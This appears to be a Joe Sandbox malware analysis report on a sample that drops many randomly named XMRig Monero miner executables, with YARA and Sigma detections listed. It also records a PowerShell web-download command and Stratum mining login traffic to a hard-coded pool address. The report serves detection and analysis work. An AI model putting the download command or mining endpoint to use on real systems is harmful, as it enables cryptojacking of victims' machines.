33.2.LKurWpq.exe.7ff650b90000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
33.2.LKurWpq.exe.7ff650b90000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
21.2.mbSqRHL.exe.7ff62c3e0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
21.2.mbSqRHL.exe.7ff62c3e0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
23.2.sdTevgk.exe.7ff601280000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
23.2.sdTevgk.exe.7ff601280000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
Click to see the 71 entries

Sigma Signatures

System Summary

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 3.120.98.217, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Users\user\Desktop\file.exe, Initiated: true, ProcessId: 6220, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49702

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6764, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\wp-runtime-f35b332dbe90[1].js

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" ", CommandLine: powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" ", CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6220, ParentProcessName: file.exe, ProcessCommandLine: powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" ", ProcessId: 6764, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" ", CommandLine: powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" ", CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6220, ParentProcessName: file.exe, ProcessCommandLine: powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" ", ProcessId: 6764, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" ", CommandLine: powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" ", CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6220, ParentProcessName: file.exe, ProcessCommandLine: powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" ", ProcessId: 6764, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 92%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 38.2.xNhRSWh.exe.7ff699c10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.MwFvbxc.exe.7ff7dc870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.oxCQuSo.exe.7ff6c9f90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uxMRJKa.exe.7ff6bea80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.bzSbRdi.exe.7ff7777f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.jtnQpnb.exe.7ff7a86e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.VHwkuIa.exe.7ff781ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.FGSooXz.exe.7ff654030000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.imwRXsl.exe.7ff74df50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.wHnuprt.exe.7ff7c3b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Csmwgyb.exe.7ff7b8680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.ZTSJHKb.exe.7ff725c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.ERbKWDm.exe.7ff67dbc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.nWSykjl.exe.7ff77c770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.hEUEsIC.exe.7ff61c860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wkazDeV.exe.7ff68b300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.vyHGCnK.exe.7ff6acaf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.UqXZtcb.exe.7ff7bbf70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.eVVPPqR.exe.7ff6e04e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xIpouRJ.exe.7ff6667f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.WLWcTVM.exe.7ff6a8db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.tyQdqmC.exe.7ff60fc20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.wJNkgSa.exe.7ff700a70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.mKdsHiQ.exe.7ff757760000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.defQfgC.exe.7ff6888b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.VWrcuzM.exe.7ff748320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.VFkciqc.exe.7ff602990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.XZxtJFw.exe.7ff7a5920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.WCbcoxD.exe.7ff7b66f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.iHSYLud.exe.7ff7683d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.fpHmIIc.exe.7ff6377f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.QWtCxan.exe.7ff670a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.bJVoOik.exe.7ff6b3cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.hAOVVjq.exe.7ff77b680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.sabRErB.exe.7ff795f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.LKurWpq.exe.7ff650b90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.mbSqRHL.exe.7ff62c3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.sdTevgk.exe.7ff601280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.1388918384.00007FF670A01000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1379197063.00007FF77B681000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1384505778.00007FF601281000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.1388071664.00007FF7B66F1000.00000040.00000001.01000000.0000001B.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1377736700.00007FF7A5921000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1382318435.00007FF62C3E1000.00000040.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1373040235.00007FF74DF51000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.1402766893.00007FF699C11000.00000040.00000001.01000000.00000026.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.1398506393.00007FF7683D1000.00000040.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1391201441.00007FF757761000.00000040.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.1403370784.00007FF7A86E1000.00000040.00000001.01000000.00000027.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1380830249.00007FF6C9F91000.00000040.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1378491789.00007FF7DC871000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1360369085.00007FF6BEA81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1375621013.00007FF7B8681000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1390519266.00007FF654031000.00000040.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1386016707.00007FF781EE1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1362487750.00007FF68B301000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1374444194.00007FF7777F1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1381442489.00007FF6ACAF1000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.1404441992.00007FF61C861000.00000040.00000001.01000000.00000028.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.1405348535.00007FF7BBF71000.00000040.00000001.01000000.00000029.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.1387139413.00007FF6A8DB1000.00000040.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1399335792.00007FF60FC21000.00000040.00000001.01000000.00000023.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1393351386.00007FF650B91000.00000040.00000001.01000000.00000021.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1361423571.00007FF6B3CD1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1366848753.00007FF700A71000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1358681117.00007FF67DBC1000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1359872361.00007FF7C3B51000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1363778887.00007FF748321000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1389418471.00007FF6377F1000.00000040.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.1385524896.00007FF6E04E1000.00000040.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.1401830291.00007FF725C01000.00000040.00000001.01000000.00000025.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1376866872.00007FF6888B1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1383583176.00007FF602991000.00000040.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.1400851952.00007FF795F21000.00000040.00000001.01000000.00000024.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1392692376.00007FF77C771000.00000040.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xIpouRJ.exe PID: 1496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ERbKWDm.exe PID: 6380, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wHnuprt.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uxMRJKa.exe PID: 6936, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bJVoOik.exe PID: 5648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wkazDeV.exe PID: 6688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VWrcuzM.exe PID: 6052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wJNkgSa.exe PID: 6504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: imwRXsl.exe PID: 6048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bzSbRdi.exe PID: 6680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Csmwgyb.exe PID: 3232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: defQfgC.exe PID: 4504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XZxtJFw.exe PID: 1660, type: MEMORYSTR

Contains functionality to registers a callback to get notified when the system is suspended or resumed (often done by Miners)

Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF66685EBF0 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,	4_2_00007FF66685EBF0
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DC2EBF0 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,	5_2_00007FF67DC2EBF0
Source: C:\Windows\System\wHnuprt.exe	Code function: 6_2_00007FF7C3BBEBF0 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,	6_2_00007FF7C3BBEBF0
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEAEEBF0 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,	7_2_00007FF6BEAEEBF0
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3D3EBF0 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,	8_2_00007FF6B3D3EBF0
Source: C:\Windows\System\wkazDeV.exe	Code function: 9_2_00007FF68B36EBF0 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,	9_2_00007FF68B36EBF0
Source: C:\Windows\System\VWrcuzM.exe	Code function: 10_2_00007FF74838EBF0 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,	10_2_00007FF74838EBF0

Detected Stratum mining protocol

Source: global traffic	TCP traffic: 192.168.2.7:49702 -> 3.120.98.217:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"h/ (windows nt 10.0; win64; x64) libuv/1.31.0 msvc/2019","algo":["cn/r","cn/2","cn/1","cn/wow","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double"]}}.
Source: global traffic	TCP traffic: 192.168.2.7:49739 -> 3.120.98.217:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"h/ (windows nt 10.0; win64; x64) libuv/1.31.0 msvc/2019","algo":["cn/r","cn/2","cn/1","cn/wow","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double"]}}.
Source: global traffic	TCP traffic: 192.168.2.7:49790 -> 3.120.98.217:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"h/ (windows nt 10.0; win64; x64) libuv/1.31.0 msvc/2019","algo":["cn/r","cn/2","cn/1","cn/wow","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double"]}}.
Source: global traffic	TCP traffic: 192.168.2.7:49830 -> 3.120.98.217:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"h/ (windows nt 10.0; win64; x64) libuv/1.31.0 msvc/2019","algo":["cn/r","cn/2","cn/1","cn/wow","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double"]}}.
Source: global traffic	TCP traffic: 192.168.2.7:49831 -> 3.120.98.217:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"h/ (windows nt 10.0; win64; x64) libuv/1.31.0 msvc/2019","algo":["cn/r","cn/2","cn/1","cn/wow","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double"]}}.
Source: global traffic	TCP traffic: 192.168.2.7:49832 -> 3.120.98.217:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"h/ (windows nt 10.0; win64; x64) libuv/1.31.0 msvc/2019","algo":["cn/r","cn/2","cn/1","cn/wow","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double"]}}.
Source: global traffic	TCP traffic: 192.168.2.7:49833 -> 3.120.98.217:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"h/ (windows nt 10.0; win64; x64) libuv/1.31.0 msvc/2019","algo":["cn/r","cn/2","cn/1","cn/wow","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double"]}}.
Source: global traffic	TCP traffic: 192.168.2.7:49834 -> 3.120.98.217:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"h/ (windows nt 10.0; win64; x64) libuv/1.31.0 msvc/2019","algo":["cn/r","cn/2","cn/1","cn/wow","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double"]}}.
Source: global traffic	TCP traffic: 192.168.2.7:49835 -> 3.120.98.217:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"h/ (windows nt 10.0; win64; x64) libuv/1.31.0 msvc/2019","algo":["cn/r","cn/2","cn/1","cn/wow","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double"]}}.
Source: global traffic	TCP traffic: 192.168.2.7:49836 -> 3.120.98.217:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"h/ (windows nt 10.0; win64; x64) libuv/1.31.0 msvc/2019","algo":["cn/r","cn/2","cn/1","cn/wow","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double"]}}.
Source: global traffic	TCP traffic: 192.168.2.7:49837 -> 3.120.98.217:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"h/ (windows nt 10.0; win64; x64) libuv/1.31.0 msvc/2019","algo":["cn/r","cn/2","cn/1","cn/wow","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double"]}}.

Found strings related to Crypto-Mining

Source: xIpouRJ.exe	String found in binary or memory: stratum+tcp://
Source: xIpouRJ.exe	String found in binary or memory: cryptonight/0
Source: xIpouRJ.exe	String found in binary or memory: stratum+tcp://

Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.154:443 -> 192.168.2.7:49821 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: global traffic

TCP traffic: 192.168.2.7:49702 -> 3.120.98.217:8080

Source: Joe Sandbox View	IP Address: 140.82.121.4 140.82.121.4
Source: Joe Sandbox View	IP Address: 3.120.98.217 3.120.98.217
Source: Joe Sandbox View	IP Address: 185.199.111.133 185.199.111.133
Source: Joe Sandbox View	IP Address: 185.199.110.154 185.199.110.154

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: FASTLYUS FASTLYUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/dark-9c5b7a476542.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/light-3e154969b9f9.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/primer-primitives-4cf0d59ab51a.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/primer-fefb1a332c28.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/global-103ebe55f9d9.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/github-6da540aa3f84.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/dashboard-a70f6c490d6e.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/experiments-d77f07364a5f.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
